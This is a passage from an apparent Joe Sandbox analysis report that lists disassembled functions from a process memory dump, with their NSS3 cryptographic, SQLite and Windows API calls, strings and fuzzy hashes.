%s at line %d of [%.10s], xrefs: 6C4960A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C496095

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 074b7841d308d9253f8374521fd915362c679ec853963c6c60bb061a2590ae08
Instruction ID: 9523b8ddf875b479b737e72e53e33be92a51db2569f369af34313bac70d06d57
Opcode Fuzzy Hash: 074b7841d308d9253f8374521fd915362c679ec853963c6c60bb061a2590ae08
Instruction Fuzzy Hash: 6FB16074E04646CFCB04CF6DC685DA9BBF0BB5E305F01815AD509ABB22D730EA94CB99

Function 6C444F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C444FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C4451BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6C4451DF
misuse, xrefs: 6C4451AF
%s at line %d of [%.10s], xrefs: 6C4451B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4451A5

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: c643e0ede4dc233151d4913fe96337b623647db9535a46dedb4f40f2b5e65ffb
Instruction ID: defbe09408cd8417e77cbdcb7e64aa90686d0d45e9cdcec56cc4e7893b4cbc0e
Opcode Fuzzy Hash: c643e0ede4dc233151d4913fe96337b623647db9535a46dedb4f40f2b5e65ffb
Instruction Fuzzy Hash: A5716BB5A04209DBEF00CE15CC80F9A77B5FB4834AF248525EE199BB81D735ED51CBA1

Function 6C5329E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6C5321DD,00000000), ref: 6C532A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6C5321DD,00000002,00000000,00000000,?,?,6C5321DD,00000000), ref: 6C532A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6C5321DD,00000000), ref: 6C532A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C532AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6C532B0D
PK11_FreeSymKey.NSS3(?), ref: 6C532B7B
PK11_FreeSymKey.NSS3(?), ref: 6C532BD6

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: 3a79dc5feb1bd28501e6688a32c16c79b1fe5e92fd1a273d08e0cc4cf6ef3ebd
Instruction ID: a2c19b72106ce0e289a71d5d86c9c585f866f0d7ce8fd19a249f5818f5fda36a
Opcode Fuzzy Hash: 3a79dc5feb1bd28501e6688a32c16c79b1fe5e92fd1a273d08e0cc4cf6ef3ebd
Instruction Fuzzy Hash: 41510371E002169BEB00CE65DC84BAA77A5AF8432CF151128ED1D9BB82F731EC05CBD1

Function 6C52FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C52F165,?), ref: 6C52FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C52F165,?), ref: 6C52FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C52F165,?), ref: 6C52FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C52F165,?), ref: 6C52FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C52F165,?), ref: 6C52FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C52F165,6C5F219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C52FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C52F165,?), ref: 6C5300A6

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: c0a13cc593d391cd0d4e32171988cb04dd9da9ca9eee084dd587bcec84712c3d
Instruction ID: 2d0267d6efd626c2e11c3718b7d1de3ef51821b66274821769ae2a8de355f152
Opcode Fuzzy Hash: c0a13cc593d391cd0d4e32171988cb04dd9da9ca9eee084dd587bcec84712c3d
Instruction Fuzzy Hash: 4051E771E043659BDB10CE69CC807AEB7B5BB89318F65022ADD59A7B40E375AC00CBD0

Function 6C4EDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C4EDF37
EnterCriticalSection.KERNEL32(?), ref: 6C4EDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4EDF96
PR_SetError.NSS3(00000000,00000000), ref: 6C4EE02B
PR_Unlock.NSS3(?), ref: 6C4EE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C4EE090
PR_Unlock.NSS3(?), ref: 6C4EE0AF

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 48ca3058f963cf7e5fc810d6c113482f35ff48ca415cdb4d636f1158eb134739
Instruction ID: cc73b1c139255200ab422b7cea0b3b326ff7b86a04f685fd71f2ac2abbe733d2
Opcode Fuzzy Hash: 48ca3058f963cf7e5fc810d6c113482f35ff48ca415cdb4d636f1158eb134739
Instruction Fuzzy Hash: 0151A171600600DFEB20DF25D884F6673B5BF8831AF224929E89A47FA1D735E949CBD1

Function 6C4D6980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6C4D5DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D5DEC
Part of subcall function 6C4D5DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C4D5E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D69BA

Part of subcall function 6C51FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C4C9003,?), ref: 6C51FD91
Part of subcall function 6C51FD80: PORT_Alloc_Util.NSS3(A4686C52,?), ref: 6C51FDA2
Part of subcall function 6C51FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C52,?,?), ref: 6C51FDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C4D6A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D6AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D6ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D6AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D6AE9

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: c6804d3a76374c1e5c3ddeeb6a0dd951156e44141550613cbcc5d9d88965dc69
Instruction ID: 0b68dd7b43e3acaa282db3cc667ceec30935eeb5f27c7efe5b5ccda8a1014596
Opcode Fuzzy Hash: c6804d3a76374c1e5c3ddeeb6a0dd951156e44141550613cbcc5d9d88965dc69
Instruction Fuzzy Hash: EF41AEB16406009BEB10EF28EC55FDA77E9BF45315F198828E89AC7740EF35E8018BA1

Function 6C50AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C50AB3E,?,?,?), ref: 6C50AC35

Part of subcall function 6C4ECEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C4ECF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C50AB3E,?,?,?), ref: 6C50AC55

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C50AB3E,?,?), ref: 6C50AC70

Part of subcall function 6C4EE300: TlsGetValue.KERNEL32 ref: 6C4EE33C
Part of subcall function 6C4EE300: EnterCriticalSection.KERNEL32(?), ref: 6C4EE350
Part of subcall function 6C4EE300: PR_Unlock.NSS3(?), ref: 6C4EE5BC
Part of subcall function 6C4EE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C4EE5CA
Part of subcall function 6C4EE300: TlsGetValue.KERNEL32 ref: 6C4EE5F2
Part of subcall function 6C4EE300: EnterCriticalSection.KERNEL32(?), ref: 6C4EE606
Part of subcall function 6C4EE300: PORT_Alloc_Util.NSS3(?), ref: 6C4EE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C50AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C50AB3E), ref: 6C50ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C50AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C50AD2B

Part of subcall function 6C4EF360: TlsGetValue.KERNEL32(00000000,?,6C50A904,?), ref: 6C4EF38B
Part of subcall function 6C4EF360: EnterCriticalSection.KERNEL32(?,?,?,6C50A904,?), ref: 6C4EF3A0
Part of subcall function 6C4EF360: PR_Unlock.NSS3(?,?,?,?,6C50A904,?), ref: 6C4EF3D3

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 6431113c54f78b155d7ecbb7e5c12593a11fbcea1e078ea51865c4b8dc25942b
Instruction ID: c23a91480e99e8ef60225f98e160f6a17b702e30842d95fdb3bc053ba01c5f84
Opcode Fuzzy Hash: 6431113c54f78b155d7ecbb7e5c12593a11fbcea1e078ea51865c4b8dc25942b
Instruction Fuzzy Hash: 783129B2F006059FEB00CF698C41DAF77B6BFD4318B1A8528E8159B740EB31EC1587A1

Function 6C4C2920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C4C294E

Part of subcall function 6C521820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C4C1D97,?,?), ref: 6C521836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C4C296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C4C2991

Part of subcall function 6C521820: PR_SetError.NSS3(FFFFE005,00000000,?,6C4C1D97,?,?), ref: 6C52184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C4C29AF
PR_Now.NSS3 ref: 6C4C2A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4C2A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4C2A79

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: 63f8b35b466ce9c7efb6e567600ac716e9a565b341ae1189cd5ef38e709d4688
Instruction ID: 8074fce57c52b552b596b4d9dafa7aa681bd624f2791c5ba25b35d0128da252f
Opcode Fuzzy Hash: 63f8b35b466ce9c7efb6e567600ac716e9a565b341ae1189cd5ef38e709d4688
Instruction Fuzzy Hash: 5541AF75B093519FC720CE28C880E4BB3E5ABC8719F055A2DEC9893750EB31E9098793

Function 6C4E8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C4E8C7C

Part of subcall function 6C589DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C5D0A27), ref: 6C589DC6
Part of subcall function 6C589DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C5D0A27), ref: 6C589DD1
Part of subcall function 6C589DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C589DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E8CB0
TlsGetValue.KERNEL32 ref: 6C4E8CD1
EnterCriticalSection.KERNEL32(?), ref: 6C4E8CE5
PR_Unlock.NSS3(?), ref: 6C4E8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C4E8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4E8D93

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: e9a6bd3b082e2e4cea628fab15da1b4efad49fcbc2230ce2c44da240d512a8cc
Instruction ID: 4557982af0947029ab99de5bde2f300241edc2ee154d078765de1259c8a8b98d
Opcode Fuzzy Hash: e9a6bd3b082e2e4cea628fab15da1b4efad49fcbc2230ce2c44da240d512a8cc
Instruction Fuzzy Hash: 90314371A01201ABEB00DF6DCC40FAAB7B4BF5931AF15013AEA1967B50D770A924CBC1

Function 6C529D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C529C5B), ref: 6C529D82

Part of subcall function 6C5214C0: TlsGetValue.KERNEL32 ref: 6C5214E0
Part of subcall function 6C5214C0: EnterCriticalSection.KERNEL32 ref: 6C5214F5
Part of subcall function 6C5214C0: PR_Unlock.NSS3 ref: 6C52150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C529C5B), ref: 6C529DA9

Part of subcall function 6C521340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?,00000000), ref: 6C52136A
Part of subcall function 6C521340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?,00000000), ref: 6C52137E
Part of subcall function 6C521340: PL_ArenaGrow.NSS3(?,6C4BF599,?,00000000,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?), ref: 6C5213CF
Part of subcall function 6C521340: PR_Unlock.NSS3(?,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?,00000000), ref: 6C52145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C529C5B), ref: 6C529DCE

Part of subcall function 6C521340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C4BF599,?,00000000), ref: 6C5213F0
Part of subcall function 6C521340: PL_ArenaGrow.NSS3(?,6C4BF599,?,?,?,00000000,00000000,?,6C4C895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C521445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C529C5B), ref: 6C529DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C529C5B), ref: 6C529DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C529C5B), ref: 6C529E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C529C5B), ref: 6C529E91

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

Part of subcall function 6C521560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C51FAAB,00000000), ref: 6C52157E
Part of subcall function 6C521560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C51FAAB,00000000), ref: 6C521592
Part of subcall function 6C521560: memset.VCRUNTIME140(?,00000000,?), ref: 6C521600
Part of subcall function 6C521560: PL_ArenaRelease.NSS3(?,?), ref: 6C521620
Part of subcall function 6C521560: PR_Unlock.NSS3(?), ref: 6C521639

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 239277917db2c0394d3b6c537ffeb380e2033cb24b47d6c097ee5b2b25eb8f52
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: AC414AB5601606AFE7409F15DC40B96BBE5BF85358F548128D8188BFE1EB7AE834CB90

Function 6C4EDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C4EDDEC

Part of subcall function 6C520840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5208B4

PK11_DigestBegin.NSS3(00000000), ref: 6C4EDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C4EDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C4EDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C4EDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C4EDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4EDECC

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: ed5e3a37e9fdf98dddc75dafb07aeedb13dba3a071ba6aa4225d66fc2787093a
Instruction ID: 5139a78b02abe3863f4f7e1c94bac3cf62a7a41c72bc1856a410b061488c3992
Opcode Fuzzy Hash: ed5e3a37e9fdf98dddc75dafb07aeedb13dba3a071ba6aa4225d66fc2787093a
Instruction Fuzzy Hash: 5231EBB2900214ABDB00EF689C45FBB76B8DF9860AF060139EC0597741FB31DD14C6E2

Function 6C4C7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C4C7E48

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

